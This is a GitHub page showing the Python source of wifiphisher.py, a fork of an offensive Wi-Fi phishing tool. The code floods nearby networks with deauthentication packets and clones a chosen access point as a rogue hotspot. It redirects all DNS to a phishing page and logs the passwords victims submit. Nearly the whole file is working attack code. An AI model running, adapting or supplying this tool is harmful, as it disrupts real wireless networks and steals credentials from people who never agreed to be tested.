forked from wifiphisher/wifiphisher
-
Notifications
You must be signed in to change notification settings - Fork 0
/
wifiphisher.py
1199 lines (1062 loc) · 39.6 KB
/
wifiphisher.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
import os
import ssl
import re
import time
import sys
import SimpleHTTPServer
import BaseHTTPServer
import httplib
import SocketServer
import cgi
import argparse
import fcntl
from threading import Thread, Lock
from subprocess import Popen, PIPE, check_output
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *
import phishingpage
from constants import *
conf.verb = 0
count = 0 # for channel hopping Thread
APs = {} # for listing APs
hop_daemon_running = True
terminate = False
lock = Lock()
def parse_args():
# Create the arguments
parser = argparse.ArgumentParser()
parser.add_argument(
"-c",
"--channel",
help="Choose the channel for monitoring. Default is channel 1",
default="1"
)
parser.add_argument(
"-s",
"--skip",
help="Skip deauthing this MAC address. Example: -s 00:11:BB:33:44:AA"
)
parser.add_argument(
"-jI",
"--jamminginterface",
help=("Choose monitor mode interface. " +
"By default script will find the most powerful interface and " +
"starts monitor mode on it. Example: -jI mon5"
)
)
parser.add_argument(
"-aI",
"--apinterface",
help=("Choose access point interface. " +
"By default script will find the most powerful interface and " +
"starts an access point on it. Example: -aI wlan0"
)
)
parser.add_argument(
"-m",
"--maximum",
help=("Choose the maximum number of clients to deauth." +
"List of clients will be emptied and repopulated after" +
"hitting the limit. Example: -m 5"
)
)
parser.add_argument(
"-n",
"--noupdate",
help=("Do not clear the deauth list when the maximum (-m) number" +
"of client/AP combos is reached. Must be used in conjunction" +
"with -m. Example: -m 10 -n"
),
action='store_true'
)
parser.add_argument(
"-t",
"--timeinterval",
help=("Choose the time interval between packets being sent." +
" Default is as fast as possible. If you see scapy " +
"errors like 'no buffer space' try: -t .00001"
)
)
parser.add_argument(
"-p",
"--packets",
help=("Choose the number of packets to send in each deauth burst. " +
"Default value is 1; 1 packet to the client and 1 packet to " +
"the AP. Send 2 deauth packets to the client and 2 deauth " +
"packets to the AP: -p 2"
)
)
parser.add_argument(
"-d",
"--directedonly",
help=("Skip the deauthentication packets to the broadcast address of" +
"the access points and only send them to client/AP pairs"
),
action='store_true')
parser.add_argument(
"-a",
"--accesspoint",
help="Enter the MAC address of a specific access point to target"
)
parser.add_argument(
"-T",
"--template",
help=("Choose the template to run."+
"Using this option will skip the interactive "+
"selection"))
parser.add_argument(
"-pK",
"--presharedkey",
help=("Add WPA/WPA2 protection on the rogue Access Point"))
parser.add_argument(
"-dT",
"--downloadtemplates",
help=("Download more templates in the startup."),
action='store_true')
return parser.parse_args()
def check_args(args):
if args.presharedkey and \
(len(args.presharedkey) < 8 \
or len(args.presharedkey) > 64):
sys.exit('[' + R + '-' + W + '] Pre-shared key must be between 8 and 63 printable characters.')
class SecureHTTPServer(BaseHTTPServer.HTTPServer):
"""
Simple HTTP server that extends the SimpleHTTPServer standard
module to support the SSL protocol.
Only the server is authenticated while the client remains
unauthenticated (i.e. the server will not request a client
certificate).
It also reacts to self.stop flag.
"""
def __init__(self, server_address, HandlerClass):
SocketServer.BaseServer.__init__(self, server_address, HandlerClass)
self.socket = ssl.SSLSocket(
socket.socket(self.address_family, self.socket_type),
keyfile=PEM,
certfile=PEM
)
self.server_bind()
self.server_activate()
def serve_forever(self):
"""
Handles one request at a time until stopped.
"""
self.stop = False
while not self.stop:
self.handle_request()
class SecureHTTPRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
"""
Request handler for the HTTPS server. It responds to
everything with a 301 redirection to the HTTP server.
"""
def do_QUIT(self):
"""
Sends a 200 OK response, and sets server.stop to True
"""
self.send_response(200)
self.end_headers()
self.server.stop = True
def setup(self):
self.connection = self.request
self.rfile = socket._fileobject(self.request, "rb", self.rbufsize)
self.wfile = socket._fileobject(self.request, "wb", self.wbufsize)
def do_GET(self):
self.send_response(301)
self.send_header('Location', 'http://' + NETWORK_GW_IP + ':' + str(PORT))
self.end_headers()
def log_message(self, format, *args):
return
class HTTPServer(BaseHTTPServer.HTTPServer):
"""
HTTP server that reacts to self.stop flag.
"""
def serve_forever(self):
"""
Handle one request at a time until stopped.
"""
self.stop = False
while not self.stop:
self.handle_request()
class HTTPRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
"""
Request handler for the HTTP server that logs POST requests.
"""
def redirect(self, page="/"):
self.send_response(301)
self.send_header('Location', page)
self.end_headers()
def do_QUIT(self):
"""
Sends a 200 OK response, and sets server.stop to True
"""
self.send_response(200)
self.end_headers()
self.server.stop = True
def do_GET(self):
wifi_webserver_tmp = "/tmp/wifiphisher-webserver.tmp"
with open(wifi_webserver_tmp, "a+") as log_file:
log_file.write('[' + T + '*' + W + '] ' + O + "GET " + T +
self.client_address[0] + W + "\n"
)
log_file.close()
if not os.path.isfile("%s/%s" % (TEMPLATE_PATH, self.path)):
self.path = "index.html"
self.path = "%s/%s" % (TEMPLATE_PATH, self.path)
if self.path.endswith(".html"):
f = open(self.path)
self.send_response(200)
self.send_header('Content-type', 'text-html')
self.end_headers()
# Send file content to client
self.wfile.write(f.read())
f.close()
return
# Leave binary and other data to default handler.
else:
SimpleHTTPServer.SimpleHTTPRequestHandler.do_GET(self)
def do_POST(self):
global terminate
redirect = False
form = cgi.FieldStorage(
fp=self.rfile,
headers=self.headers,
environ={'REQUEST_METHOD': 'POST',
'CONTENT_TYPE': self.headers['Content-type'],
})
if not form.list:
return
for item in form.list:
if item.name and item.value and POST_VALUE_PREFIX in item.name:
redirect = True
wifi_webserver_tmp = "/tmp/wifiphisher-webserver.tmp"
with open(wifi_webserver_tmp, "a+") as log_file:
log_file.write('[' + T + '*' + W + '] ' + O + "POST " +
T + self.client_address[0] +
R + " " + item.name + "=" + item.value +
W + "\n"
)
log_file.close()
if redirect:
self.redirect("/upgrading.html")
terminate = True
return
self.redirect()
def log_message(self, format, *args):
return
def stop_server(port=PORT, ssl_port=SSL_PORT):
"""
Sends QUIT request to HTTP server running on localhost:<port>
"""
conn = httplib.HTTPConnection("localhost:%d" % port)
conn.request("QUIT", "/")
conn.getresponse()
conn = httplib.HTTPSConnection("localhost:%d" % ssl_port)
conn.request("QUIT", "/")
conn.getresponse()
def shutdown():
"""
Shutdowns program.
"""
os.system('iptables -F')
os.system('iptables -X')
os.system('iptables -t nat -F')
os.system('iptables -t nat -X')
os.system('pkill airbase-ng')
os.system('pkill dnsmasq')
os.system('pkill hostapd')
if os.path.isfile('/tmp/wifiphisher-webserver.tmp'):
os.remove('/tmp/wifiphisher-webserver.tmp')
if os.path.isfile('/tmp/wifiphisher-jammer.tmp'):
os.remove('/tmp/wifiphisher-jammer.tmp')
if os.path.isfile('/tmp/hostapd.conf'):
os.remove('/tmp/hostapd.conf')
if os.path.isfile('/tmp/wifiphisher-hostapd.log'):
os.remove('/tmp/wifiphisher-hostapd.log')
reset_interfaces()
print '\n[' + R + '!' + W + '] Closing'
sys.exit(0)
def get_interfaces():
interfaces = {"monitor": [], "managed": [], "all": []}
proc = Popen(['iwconfig'], stdout=PIPE, stderr=DN)
for line in proc.communicate()[0].split('\n'):
if len(line) == 0:
continue # Isn't an empty string
if line[0] != ' ': # Doesn't start with space
wired_search = re.search('eth[0-9]|em[0-9]|p[1-9]p[1-9]', line)
if not wired_search: # Isn't wired
iface = line[:line.find(' ')] # is the interface
if 'Mode:Monitor' in line:
interfaces["monitor"].append(iface)
elif 'IEEE 802.11' in line:
interfaces["managed"].append(iface)
interfaces["all"].append(iface)
return interfaces
def get_iface(mode="all", exceptions=["_wifi"]):
ifaces = get_interfaces()[mode]
for i in ifaces:
if i not in exceptions:
return i
return False
def reset_interfaces():
monitors = get_interfaces()["monitor"]
for m in monitors:
if 'mon' in m and os.path.isfile('/usr/sbin/airmon-ng'):
Popen(['airmon-ng', 'stop', m], stdout=DN, stderr=DN)
else:
Popen(['ifconfig', m, 'down'], stdout=DN, stderr=DN)
Popen(['iwconfig', m, 'mode', 'managed'], stdout=DN, stderr=DN)
Popen(['ifconfig', m, 'up'], stdout=DN, stderr=DN)
def get_internet_interface():
'''return the wifi internet connected iface'''
inet_iface = None
if os.path.isfile("/sbin/ip") == True:
proc = Popen(['/sbin/ip', 'route'], stdout=PIPE, stderr=DN)
def_route = proc.communicate()[0].split('\n') # [0].split()
for line in def_route:
if 'wlan' in line and 'default via' in line:
line = line.split()
inet_iface = line[4]
ipprefix = line[2][:2] # Just checking if it's 192, 172, or 10
return inet_iface
else:
proc = open('/proc/net/route', 'r')
default = proc.readlines()[1]
if "wlan" in default:
def_route = default.split()[0]
x = iter(default.split()[2])
res = [''.join(i) for i in zip(x, x)]
d = [str(int(i, 16)) for i in res]
return inet_iface
return False
def channel_hop(mon_iface):
chan = 0
while hop_daemon_running:
try:
if chan > 11:
chan = 0
chan = chan + 1
channel = str(chan)
iw = Popen(
['iw', 'dev', mon_iface, 'set', 'channel', channel],
stdout=DN, stderr=PIPE
)
for line in iw.communicate()[1].split('\n'):
# iw dev shouldnt display output unless there's an error
if len(line) > 2:
with lock:
err = (
'[' + R + '-' + W + '] Channel hopping failed: ' +
R + line + W + '\n'
'Try disconnecting the monitor mode\'s parent' +
'interface (e.g. wlan0)\n'
'from the network if you have not already\n'
)
sys.exit(err)
break
time.sleep(1)
except KeyboardInterrupt:
sys.exit()
def sniffing(interface, cb):
'''This exists for if/when I get deauth working
so that it's easy to call sniff() in a thread'''
sniff(iface=interface, prn=cb, store=0)
def targeting_cb(pkt):
global APs, count
if pkt.haslayer(Dot11Beacon) or pkt.haslayer(Dot11ProbeResp):
try:
ap_channel = str(ord(pkt[Dot11Elt:3].info))
except Exception:
return
essid = pkt[Dot11Elt].info
mac = pkt[Dot11].addr2
if len(APs) > 0:
for num in APs:
if essid in APs[num][1]:
return
count += 1
APs[count] = [ap_channel, essid, mac]
target_APs()
def target_APs():
global APs, count
os.system('clear')
print ('[' + G + '+' + W + '] Ctrl-C at any time to copy an access' +
' point from below')
print 'num ch ESSID'
print '---------------'
for ap in APs:
print (G + str(ap).ljust(2) + W + ' - ' + APs[ap][0].ljust(2) + ' - ' +
T + APs[ap][1] + W)
def copy_AP():
global APs, count
copy = None
while not copy:
try:
copy = raw_input(
('\n[' + G + '+' + W + '] Choose the [' + G + 'num' + W +
'] of the AP you wish to copy: ')
)
copy = int(copy)
except Exception:
copy = None
continue
try:
channel = APs[copy][0]
essid = APs[copy][1]
if str(essid) == "\x00":
essid = ' '
mac = APs[copy][2]
return channel, essid, mac
except KeyError:
return copy_AP()
def get_templates():
template_manager = phishingpage.TemplateManager()
templates = template_manager.get_templates(only_online=True)
for k, v in templates.iteritems():
download_template(v)
def download_template(template):
# check if template is complete
if template.check_file_integrity():
print ("[" + G + "+" + W + "] Template " +
template.get_display_name() + " already downloaded")
# in case the template is complete
return 1
else:
if template.dir_exists():
print ("[" + G + "+" + W + "] Deleting " +
template.get_display_name() + ": Template not found or incomplete")
# clean up the previous download
template.remove_local_files()
# display download info to the user
print ("[" + G + "+" + W + "] Downloading template " +
template.get_display_name() + "...")
# download the content
template.fetch_files()
# exit the loop since template is downloaded
return 1
def select_template(args):
# create a template manager object
template_manager = phishingpage.TemplateManager()
# get all available templates
templates = template_manager.get_templates()
# get all the templates names for display
template_names = list(templates.keys())
# loop until all operations for template selection is done
# check if the template argument is set and is correct
if args.template and args.template in templates:
# set the template name
template = templates[args.template]
elif args.template and args.template not in templates:
# in case of an invalid template
raise phishingpage.InvalidTemplate
else:
while True:
# clear the screen
os.system('clear')
# display start of template names
print "\nAvailable Phishing Scenarios: \n"
# display the templates
index = 1
for k, v in templates.iteritems():
print (G + str(index) + W + " - " + v.get_display_name() +
'\n\t' + v.get_description() + '\n')
index += 1
# get user's choice
choosen_template = raw_input("\n[" + G + "+" + W +
"] Choose the [" + G + "num" + W +
"] of the scenario you wish to use: ")
# placed to avoid a program crash in case of non integer input
try:
template_number = int(choosen_template)
except ValueError:
print "\n[" + R + "-" + W + "] Please input an integer."
# start from the beginning
continue
if template_number not in range(1, len(template_names) + 1):
print ("\n[" + R + "-" + W + "] Wrong input number! please" +
" try again")
# start from the beginning
continue
# remove 1 from template number which was added for display reasons
template_number -= 1
# get the template
template = templates[template_names[template_number]]
break
# TODO. We need to move this check at the start of the script.
if template.is_online() and not template.check_file_integrity():
sys.exit((
'\n[' + R + '!' + W + '] Template ' + template.get_display_name() +
' is only available online.\n' +
'[' + G + '+' + W + '] Rerun the script using the -dT or ' +
'--downloadtemplates option to install it.\n' +
'[' + R + '!' + W + '] Closing'
))
return template
def start_ap(mon_iface, channel, essid, args):
print '[' + T + '*' + W + '] Starting the fake access point...'
config = (
'interface=%s\n'
'driver=nl80211\n'
'ssid=%s\n'
'hw_mode=g\n'
'channel=%s\n'
'macaddr_acl=0\n'
'ignore_broadcast_ssid=0\n'
)
if args.presharedkey:
config += (
'wpa=2\n'
'wpa_passphrase=%s\n'
) % args.presharedkey
with open('/tmp/hostapd.conf', 'w') as dhcpconf:
dhcpconf.write(config % (mon_iface, essid, channel))
Popen(['hostapd', '/tmp/hostapd.conf', '-f', '/tmp/wifiphisher-hostapd.log'], stdout=DN, stderr=DN)
try:
time.sleep(6) # Copied from Pwnstar which said it was necessary?
proc = check_output(['cat', '/tmp/wifiphisher-hostapd.log'])
if 'driver initialization failed' in proc:
print('[' + R + '+' + W +
'] Driver initialization failed! (hostapd error)\n' +
'[' + R + '+' + W +
'] Try a different wireless interface using -aI option.'
)
shutdown()
except KeyboardInterrupt:
shutdown()
def dhcp_conf(interface):
config = (
'no-resolv\n'
'interface=%s\n'
'dhcp-range=%s\n'
'address=/#/%s'
)
with open('/tmp/dhcpd.conf', 'w') as dhcpconf:
dhcpconf.write(config % (interface, DHCP_LEASE, NETWORK_GW_IP))
return '/tmp/dhcpd.conf'
def dhcp(dhcpconf, mon_iface):
dhcp = Popen(['dnsmasq', '-C', dhcpconf], stdout=PIPE, stderr=DN)
Popen(['ifconfig', str(mon_iface), 'mtu', '1400'], stdout=DN, stderr=DN)
Popen(
['ifconfig', str(mon_iface), 'up', NETWORK_GW_IP,
'netmask', NETWORK_MASK
],
stdout=DN,
stderr=DN
)
# Make sure that we have set the network properly.
proc = check_output(['ifconfig', str(mon_iface)])
if NETWORK_GW_IP not in proc:
return False
time.sleep(.5) # Give it some time to avoid "SIOCADDRT: Network is unreachable"
os.system(
('route add -net %s netmask %s gw %s' %
(NETWORK_IP, NETWORK_MASK, NETWORK_GW_IP))
)
return True
def get_strongest_iface(exceptions=[]):
interfaces = get_interfaces()["managed"]
scanned_aps = []
for i in interfaces:
if i in exceptions:
continue
count = 0
proc = Popen(['iwlist', i, 'scan'], stdout=PIPE, stderr=DN)
for line in proc.communicate()[0].split('\n'):
if ' - Address:' in line: # first line in iwlist scan for a new AP
count += 1
scanned_aps.append((count, i))
print ('[' + G + '+' + W + '] Networks discovered by '
+ G + i + W + ': ' + T + str(count) + W)
if len(scanned_aps) > 0:
interface = max(scanned_aps)[1]
return interface
return False
def start_mode(interface, mode="monitor"):
print ('[' + G + '+' + W + '] Starting ' + mode + ' mode off '
+ G + interface + W)
try:
os.system('ifconfig %s down' % interface)
os.system('iwconfig %s mode %s' % (interface, mode))
os.system('ifconfig %s up' % interface)
return interface
except Exception:
sys.exit('[' + R + '-' + W + '] Could not start %s mode' % mode)
# Wifi Jammer stuff
# TODO: Merge this with the other channel_hop method.
def channel_hop2(mon_iface):
'''
First time it runs through the channels it stays on each channel for
5 seconds in order to populate the deauth list nicely.
After that it goes as fast as it can
'''
global monchannel, first_pass
channelNum = 0
while 1:
if args.channel:
with lock:
monchannel = args.channel
else:
channelNum += 1
if channelNum > 11:
channelNum = 1
with lock:
first_pass = 0
with lock:
monchannel = str(channelNum)
proc = Popen(
['iw', 'dev', mon_iface, 'set', 'channel', monchannel],
stdout=DN,
stderr=PIPE
)
for line in proc.communicate()[1].split('\n'):
if len(line) > 2:
# iw dev shouldnt display output unless there's an error
err = ('[' + R + '-' + W + '] Channel hopping failed: '
+ R + line + W)
sys.exit(err)
output(monchannel)
if args.channel:
time.sleep(.05)
else:
# For the first channel hop thru, do not deauth
if first_pass == 1:
time.sleep(1)
continue
deauth(monchannel)
def deauth(monchannel):
'''
addr1=destination, addr2=source, addr3=bssid, addr4=bssid of gateway
if there's multi-APs to one gateway. Constantly scans the clients_APs list
and starts a thread to deauth each instance
'''
pkts = []
if len(clients_APs) > 0:
with lock:
for x in clients_APs:
client = x[0]
ap = x[1]
ch = x[2]
'''
Can't add a RadioTap() layer as the first layer or it's a
malformed Association request packet?
Append the packets to a new list so we don't have to hog the
lock type=0, subtype=12?
'''
if ch == monchannel:
deauth_pkt1 = Dot11(
addr1=client,
addr2=ap,
addr3=ap) / Dot11Deauth()
deauth_pkt2 = Dot11(
addr1=ap,
addr2=client,
addr3=client) / Dot11Deauth()
pkts.append(deauth_pkt1)
pkts.append(deauth_pkt2)
if len(APs) > 0:
if not args.directedonly:
with lock:
for a in APs:
ap = a[0]
ch = a[1]
if ch == monchannel:
deauth_ap = Dot11(
addr1='ff:ff:ff:ff:ff:ff',
addr2=ap,
addr3=ap) / Dot11Deauth()
pkts.append(deauth_ap)
if len(pkts) > 0:
# prevent 'no buffer space' scapy error http://goo.gl/6YuJbI
if not args.timeinterval:
args.timeinterval = 0
if not args.packets:
args.packets = 1
for p in pkts:
send(p, inter=float(args.timeinterval), count=int(args.packets))
def output(monchannel):
wifi_jammer_tmp = "/tmp/wifiphisher-jammer.tmp"
with open(wifi_jammer_tmp, "a+") as log_file:
log_file.truncate()
with lock:
for ca in clients_APs:
if len(ca) > 3:
log_file.write(
('[' + T + '*' + W + '] ' + O + ca[0] + W +
' - ' + O + ca[1] + W + ' - ' + ca[2].ljust(2) +
' - ' + T + ca[3] + W + '\n')
)
else:
log_file.write(
'[' + T + '*' + W + '] ' + O + ca[0] + W +
' - ' + O + ca[1] + W + ' - ' + ca[2] + W + '\n'
)
with lock:
for ap in APs:
log_file.write(
'[' + T + '*' + W + '] ' + O + ap[0] + W +
' - ' + ap[1].ljust(2) + ' - ' + T + ap[2] + W + '\n'
)
# print ''
def noise_filter(skip, addr1, addr2):
# Broadcast, broadcast, IPv6mcast, spanning tree, spanning tree, multicast,
# broadcast
ignore = [
'ff:ff:ff:ff:ff:ff',
'00:00:00:00:00:00',
'33:33:00:', '33:33:ff:',
'01:80:c2:00:00:00',
'01:00:5e:',
mon_MAC
]
if skip:
ignore.append(skip)
for i in ignore:
if i in addr1 or i in addr2:
return True
def cb(pkt):
'''
Look for dot11 packets that aren't to or from broadcast address,
are type 1 or 2 (control, data), and append the addr1 and addr2
to the list of deauth targets.
'''
global clients_APs, APs
# return these if's keeping clients_APs the same or just reset clients_APs?
# I like the idea of the tool repopulating the variable more
if args.maximum:
if args.noupdate:
if len(clients_APs) > int(args.maximum):
return
else:
if len(clients_APs) > int(args.maximum):
with lock:
clients_APs = []
APs = []
'''
We're adding the AP and channel to the deauth list at time of creation
rather than updating on the fly in order to avoid costly for loops
that require a lock.
'''
if pkt.haslayer(Dot11):
if pkt.addr1 and pkt.addr2:
# Filter out all other APs and clients if asked
if args.accesspoint:
if args.accesspoint not in [pkt.addr1, pkt.addr2]:
return
# Check if it's added to our AP list
if pkt.haslayer(Dot11Beacon) or pkt.haslayer(Dot11ProbeResp):
APs_add(clients_APs, APs, pkt, args.channel)
# Ignore all the noisy packets like spanning tree
if noise_filter(args.skip, pkt.addr1, pkt.addr2):
return
# Management = 1, data = 2
if pkt.type in [1, 2]:
clients_APs_add(clients_APs, pkt.addr1, pkt.addr2)
def APs_add(clients_APs, APs, pkt, chan_arg):
ssid = pkt[Dot11Elt].info
bssid = pkt[Dot11].addr3
try:
# Thanks to airoscapy for below
ap_channel = str(ord(pkt[Dot11Elt:3].info))
# Prevent 5GHz APs from being thrown into the mix
chans = ['1', '2', '3', '4', '5', '6', '7', '8', '9', '10', '11']
if ap_channel not in chans:
return
if chan_arg:
if ap_channel != chan_arg:
return
except Exception:
return
if len(APs) == 0:
with lock:
return APs.append([bssid, ap_channel, ssid])
else:
for b in APs:
if bssid in b[0]:
return
with lock:
return APs.append([bssid, ap_channel, ssid])
def clients_APs_add(clients_APs, addr1, addr2):
if len(clients_APs) == 0:
if len(APs) == 0:
with lock:
return clients_APs.append([addr1, addr2, monchannel])
else:
AP_check(addr1, addr2)
# Append new clients/APs if they're not in the list
else:
for ca in clients_APs:
if addr1 in ca and addr2 in ca:
return
if len(APs) > 0:
return AP_check(addr1, addr2)
else:
with lock:
return clients_APs.append([addr1, addr2, monchannel])
def AP_check(addr1, addr2):
for ap in APs:
if ap[0].lower() in addr1.lower() or ap[0].lower() in addr2.lower():
with lock:
return clients_APs.append([addr1, addr2, ap[1], ap[2]])
def mon_mac(mon_iface):
'''
http://stackoverflow.com/questions/159137/getting-mac-address
'''
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
info = fcntl.ioctl(s.fileno(), 0x8927, struct.pack('256s', mon_iface[:15]))
mac = ''.join(['%02x:' % ord(char) for char in info[18:24]])[:-1]
print ('[' + G + '*' + W + '] Monitor mode: ' + G
+ mon_iface + W + ' - ' + O + mac + W)
return mac
def sniff_dot11(mon_iface):
"""
We need this here to run it from a thread.
"""
sniff(iface=mon_iface, store=0, prn=cb)
def get_dnsmasq():
if not os.path.isfile('/usr/sbin/dnsmasq'):
install = raw_input(
('[' + T + '*' + W + '] dnsmasq not found ' +
'in /usr/bin/dnsmasq, install now? [y/n] ')
)
if install == 'y':
if os.path.isfile('/usr/bin/pacman'):
os.system('pacman -S dnsmasq')
elif os.path.isfile('/usr/bin/yum'):
os.system('yum install dnsmasq')
else:
os.system('apt-get -y install dnsmasq')
else:
sys.exit(('[' + R + '-' + W + '] dnsmasq' +
'not found in /usr/sbin/dnsmasq'))
if not os.path.isfile('/usr/sbin/dnsmasq'):
sys.exit((
'\n[' + R + '-' + W + '] Unable to install the \'dnsmasq\' package!\n' +
'[' + T + '*' + W + '] This process requires a persistent internet connection!\n' +
'Please follow the link below to configure your sources.list\n' +
B + 'http://docs.kali.org/general-use/kali-linux-sources-list-repositories\n' + W +
'[' + G + '+' + W + '] Run apt-get update for changes to take effect.\n' +
'[' + G + '+' + W + '] Rerun the script to install dnsmasq.\n' +
'[' + R + '!' + W + '] Closing'
))
def get_hostapd():
if not os.path.isfile('/usr/sbin/hostapd'):
install = raw_input(
('[' + T + '*' + W + '] hostapd not found ' +
'in /usr/sbin/hostapd, install now? [y/n] ')
)
if install == 'y':
if os.path.isfile('/usr/bin/pacman'):
os.system('pacman -S hostapd')
elif os.path.isfile('/usr/bin/yum'):
os.system('yum install hostapd')
else:
os.system('apt-get -y install hostapd')
else:
sys.exit(('[' + R + '-' + W + '] hostapd' +
'not found in /usr/sbin/hostapd'))
if not os.path.isfile('/usr/sbin/hostapd'):
sys.exit((
'\n[' + R + '-' + W + '] Unable to install the \'hostapd\' package!\n' +
'[' + T + '*' + W + '] This process requires a persistent internet connection!\n' +
'Please follow the link below to configure your sources.list\n' +
B + 'http://docs.kali.org/general-use/kali-linux-sources-list-repositories\n' + W +
'[' + G + '+' + W + '] Run apt-get update for changes to take effect.\n' +
'[' + G + '+' + W + '] Rerun the script to install hostapd.\n' +
'[' + R + '!' + W + '] Closing'
))
if __name__ == "__main__":
print " _ __ _ _ _ _ "
print " (_)/ _(_) | | (_) | | "
print " __ ___| |_ _ _ __ | |__ _ ___| |__ ___ _ __ "
print " \ \ /\ / / | _| | '_ \| '_ \| / __| '_ \ / _ \ '__|"
print " \ V V /| | | | | |_) | | | | \__ \ | | | __/ | "
print " \_/\_/ |_|_| |_| .__/|_| |_|_|___/_| |_|\___|_| "
print " | | "
print " |_| "
print " "
# Parse args
args = parse_args()